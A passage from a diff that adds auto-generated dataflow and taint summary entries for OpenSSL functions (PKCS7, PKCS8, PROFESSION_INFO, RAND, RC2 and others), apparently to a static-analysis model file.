"dfc-generated"] + - ["", "", True, "PKCS7_dataDecode", "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)", "", "Argument[*2]", "Argument[*2].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataDecode", "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)", "", "Argument[*2]", "ReturnValue[*].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataDecode", "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)", "", "Argument[2]", "Argument[*2].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataDecode", "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)", "", "Argument[2]", "ReturnValue[*].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataInit", "(PKCS7 *,BIO *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PKCS7_dataInit", "(PKCS7 *,BIO *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataInit", "(PKCS7 *,BIO *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataInit", "(PKCS7 *,BIO *)", "", "Argument[1]", "ReturnValue[*].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataVerify", "(X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *)", "", "Argument[*2].Field[**next_bio].Field[**next_bio]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataVerify", "(X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *)", "", "Argument[*2].Field[**next_bio]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataVerify", "(X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *)", "", "Argument[0]", "Argument[*1].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS7_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_free", "(PKCS7 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_free", "(PKCS7 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_get0_signers", "(PKCS7 *,stack_st_X509 *,int)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS7_get_octet_string", "(PKCS7 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS7_get_octet_string", "(PKCS7 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS7_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_print_ctx", "(BIO *,const PKCS7 *,int,const ASN1_PCTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_print_ctx", "(BIO *,const PKCS7 *,int,const ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set0_type_other", "(PKCS7 *,int,ASN1_TYPE *)", "", "Argument[*2]", "Argument[*0].Field[*d].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set0_type_other", "(PKCS7 *,int,ASN1_TYPE *)", "", "Argument[1]", "Argument[*0].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set0_type_other", "(PKCS7 *,int,ASN1_TYPE *)", "", "Argument[1]", "Argument[*0].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set0_type_other", "(PKCS7 *,int,ASN1_TYPE *)", "", "Argument[2]", "Argument[*0].Field[*d].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1].Field[*num]", "Argument[*0].Field[**unauth_attr].Field[*num_alloc]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[*0].Field[**unauth_attr]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*0].Field[**unauth_attr]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_signed_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1].Field[*num]", "Argument[*0].Field[**auth_attr].Field[*num_alloc]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_signed_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[*0].Field[**auth_attr]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_signed_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*0].Field[**auth_attr]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_signed_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_type", "(PKCS7 *,int)", "", "Argument[1]", "Argument[*0].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_type", "(PKCS7 *,int)", "", "Argument[1]", "Argument[*0].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_sign", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[*3].Field[*type]", "ReturnValue[*].Field[**digest_alg].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[*3].Field[*type]", "ReturnValue[*].Field[**digest_alg].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[2]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_signatureVerify", "(BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *)", "", "Argument[*0].Field[**next_bio].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_signatureVerify", "(BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *)", "", "Argument[*0].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_simple_smimecap", "(stack_st_X509_ALGOR *,int,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "PKCS7_verify", "(PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_verify", "(PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int)", "", "Argument[3]", "Argument[*3].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_PRIV_KEY_INFO_free", "(PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS8_PRIV_KEY_INFO_free", "(PKCS8_PRIV_KEY_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS8_decrypt", "(const X509_SIG *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS8_decrypt", "(const X509_SIG *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS8_decrypt_ex", "(const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS8_decrypt_ex", "(const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS8_encrypt", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)", "", "Argument[*7]", "Argument[7]", "value", "df-generated"] + - ["", "", True, "PKCS8_encrypt", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)", "", "Argument[0]", "ReturnValue[*].Field[**algor].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS8_encrypt", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)", "", "Argument[0]", "ReturnValue[*].Field[**algor].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS8_encrypt_ex", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*7]", "Argument[7]", "value", "df-generated"] + - ["", "", True, "PKCS8_encrypt_ex", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**algor].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS8_encrypt_ex", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**algor].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_add1_attr", "(PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_add1_attr", "(PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS8_pkey_add1_attr_by_OBJ", "(PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0_attrs", "(const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0].Field[**attributes]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_get0_attrs", "(const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0].Field[*attributes]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**pkeyalg].Field[**algorithm]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[*5]", "Argument[*0].Field[**pkey].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**pkeyalg].Field[*algorithm]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**version].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[5]", "Argument[*0].Field[**pkey].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[6]", "Argument[*0].Field[**pkey].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_set0_pbe", "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "PKCS8_set0_pbe", "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *)", "", "Argument[3]", "ReturnValue[*].Field[*algor]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_set0_pbe_ex", "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "PKCS8_set0_pbe_ex", "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*algor]", "value", "dfc-generated"] + - ["", "", True, "PKEY_USAGE_PERIOD_free", "(PKEY_USAGE_PERIOD *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKEY_USAGE_PERIOD_free", "(PKEY_USAGE_PERIOD *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "POLICYINFO_free", "(POLICYINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "POLICYINFO_free", "(POLICYINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "POLICYQUALINFO_free", "(POLICYQUALINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "POLICYQUALINFO_free", "(POLICYQUALINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "POLICY_CONSTRAINTS_free", "(POLICY_CONSTRAINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "POLICY_CONSTRAINTS_free", "(POLICY_CONSTRAINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "POLICY_MAPPING_free", "(POLICY_MAPPING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "POLICY_MAPPING_free", "(POLICY_MAPPING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PROFESSION_INFO_free", "(PROFESSION_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PROFESSION_INFO_free", "(PROFESSION_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PROFESSION_INFO_get0_addProfessionInfo", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**addProfessionInfo]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_addProfessionInfo", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*addProfessionInfo]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_namingAuthority", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**namingAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_namingAuthority", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*namingAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_professionItems", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**professionItems]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_professionItems", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*professionItems]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_professionOIDs", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**professionOIDs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_professionOIDs", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*professionOIDs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_registrationNumber", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**registrationNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_registrationNumber", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*registrationNumber]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_addProfessionInfo", "(PROFESSION_INFO *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**addProfessionInfo]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_addProfessionInfo", "(PROFESSION_INFO *,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[*0].Field[*addProfessionInfo]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_namingAuthority", "(PROFESSION_INFO *,NAMING_AUTHORITY *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthority]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_namingAuthority", "(PROFESSION_INFO *,NAMING_AUTHORITY *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthority]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_professionItems", "(PROFESSION_INFO *,stack_st_ASN1_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**professionItems]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_professionItems", "(PROFESSION_INFO *,stack_st_ASN1_STRING *)", "", "Argument[1]", "Argument[*0].Field[*professionItems]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_professionOIDs", "(PROFESSION_INFO *,stack_st_ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[**professionOIDs]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_professionOIDs", "(PROFESSION_INFO *,stack_st_ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*professionOIDs]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_registrationNumber", "(PROFESSION_INFO *,ASN1_PRINTABLESTRING *)", "", "Argument[*1]", "Argument[*0].Field[**registrationNumber]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_registrationNumber", "(PROFESSION_INFO *,ASN1_PRINTABLESTRING *)", "", "Argument[1]", "Argument[*0].Field[*registrationNumber]", "value", "dfc-generated"] + - ["", "", True, "PROXY_CERT_INFO_EXTENSION_free", "(PROXY_CERT_INFO_EXTENSION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PROXY_CERT_INFO_EXTENSION_free", "(PROXY_CERT_INFO_EXTENSION *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PROXY_POLICY_free", "(PROXY_POLICY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PROXY_POLICY_free", "(PROXY_POLICY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "Poly1305_Init", "(POLY1305 *,const unsigned char[32])", "", "Argument[*1]", "Argument[*0].Field[*nonce]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Init", "(POLY1305 *,const unsigned char[32])", "", "Argument[1]", "Argument[*0].Field[*nonce]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[*0].Field[*num]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "taint", "dfc-generated"] + - ["", "", True, "RAND_bytes", "(unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_bytes", "(unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_bytes_ex", "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RAND_bytes_ex", "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RAND_file_name", "(char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_file_name", "(char *,size_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RAND_file_name", "(char *,size_t)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "RAND_get0_primary", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RAND_get0_primary", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RAND_get0_private", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RAND_get0_public", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RAND_priv_bytes", "(unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_priv_bytes", "(unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_priv_bytes_ex", "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RAND_priv_bytes_ex", "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, 